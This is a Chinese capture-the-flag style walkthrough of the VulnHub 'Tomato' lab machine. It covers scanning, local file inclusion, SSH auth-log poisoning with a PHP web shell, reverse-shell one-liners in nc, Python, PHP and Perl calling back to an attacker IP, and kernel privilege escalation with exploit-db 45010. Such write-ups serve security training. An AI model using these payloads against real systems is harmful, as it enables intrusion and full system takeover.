一、靶机介绍

靶机地址:https://download.vulnhub.com/tomato/Tomato.ova

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息搜集
  • 路径爬取
  • 源代码分析
  • 文件包含
  • 写入日志
  • 内核漏洞枚举
  • 本地提权

二、主机发现

arp-scan -l

靶机地址为:192.168.43.155

image-20240920120405910

三、端口扫描

nmap -p- 192.168.43.155
nmap -p21,80,2211,8888 -sC -sV 192.168.43.155

根据扫描结果得知80和8888都是web端口,2211为ssh端口

image-20240920120600821

访问web页面,80端口就一番茄的图片,8888端口需要账号密码,相当于这两个端口没有获取到任何信息

image-20240920120836495

四、dirsearch目录扫描

dirsearch -u "http://192.168.43.155" -w /usr/share/seclists/Discovery/Web-Content/common.txt 

dirsearch自带的字典什么都没扫描处理,换了一个字典

image-20240920121524086

发现一个新的目录,在这目录里除了info.php其他都是空的

image-20240920121511920

发现页面是phpinfo的

image-20240920121910813

五、文件包含漏洞

查看源代码,发现代码注释内容中貌似存在文件包含漏洞,变量名为image

image-20240920121933696

读取文件尝试,发现可以读取成功

?/image=/etc/passwd

发现除了root用户外,还存在一个用户tomato

image-20240920122114573

尝试读取tomato的密钥,发现不存在

/?image=/home/tomato/.ssh/id_rsa

想尝试远程文件文件包含,发现配置未开

image-20240920122339397

六、日志写入

尝试读取系统登录日志,可以成功读取

/?image=/var/log/auth.log

image-20240920122932766

使用ssh随便写一个账号尝试,是否能写入成功

image-20240920123131985

发现用户名能够写入,之间利用这个,写马

'<?php system($_GET["cmd"]);?>'

注意单双引号

image-20240920123424029

发现日志没有,这说明php代码可能执行成功

/?image=/var/log/auth.log&cmd=which nc 

执行成功,靶机中存在nc

七、反弹shell

使用nc 反弹失败,靶机也存在python3,但是也没反弹成功

nc 192.168.43.130 5555 -e /bin/bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.soCK_STREAM);s.connect(("192.168.43.130",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

使用php url编码后的反弹了一下,反弹成功了,但是我输入指令后没有任何回显,使用python升级了终端也没什么动静

php -r '$sock=fsockopen("192.168.43.130",5555);exec("/bin/sh -i <&3 2>&3");'

php%20-r%20’%24sock%3Dfsockopen(%22192.168.43.130%22%2C5555)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%202%3E%263%22)%3B’

perl反弹,我是第一次听说这个语言

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.43.130:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Perl 简介 | 菜鸟教程 (runoob.com)

python3 -c "import pty;pty.spawn('/bin/bash')"  	# 升级终端

image-20240920124759764

八、内核漏洞枚举

linux-exploit-suggester使用这个工具找的合适的内核漏洞,进行提权

apt install linux-exploit-suggester			# 安装
which linux-exploit-suggester # 找到安装地址
cd /usr/share/linux-exploit-suggester # 切换到安装地址
python3 -m http.server 9999 # 起个python服务传到靶机上
wget http://192.168.43.130:9999/linux-exploit-suggester.sh # 靶机中执行

image-20240920131818554

chmod +x linux-exploit-suggester.sh		# 授予执行权限
./linux-exploit-suggester.sh # 运行

第一提权不成功,第二个能提权成功

image-20240920132250072

九、本地提权

直接在kali搜索对应编号

searchsploit -p 45010 

image-20240920132301696

cp /usr/share/exploitdb/exploits/linux/local/45010.c .		# 将提权脚本复制到桌面操作
nc -lvnp 4444 > cve # 将编译后的exp传到靶机中
nc 192.168.43.155 4444 < cve -w 1

image-20240920134702275

在靶机中执行报错了,因为kali中gcc版本太高导致的

image-20240920134730382

9.1、指定gcc版本

strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_2.3

发现靶机中雀氏没有那个版本

image-20240920134811638

在kali中下载靶机对应的版本,最后指定一下

wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb		# 下载包
dpkg -x libc6_2.19-0ubuntu6_amd64.deb . # 构建
mv ../45010.c . # 将提取脚本,放到包的目录下
gcc 45010.c -o exp -Ldir ./lib/x86_64-linux-gnu/libc.so.6 # 指定版本构建

image-20240920140551494

nc -lvnp 4444 > exp				# exp传输
nc 192.168.43.155 4444 < exp -w 1
chmod +x exp
./exp

提权成功

image-20240920140656764

参考:

Vulnhub打靶记录:tomato - C_CHL - 博客园 (cnblogs.com)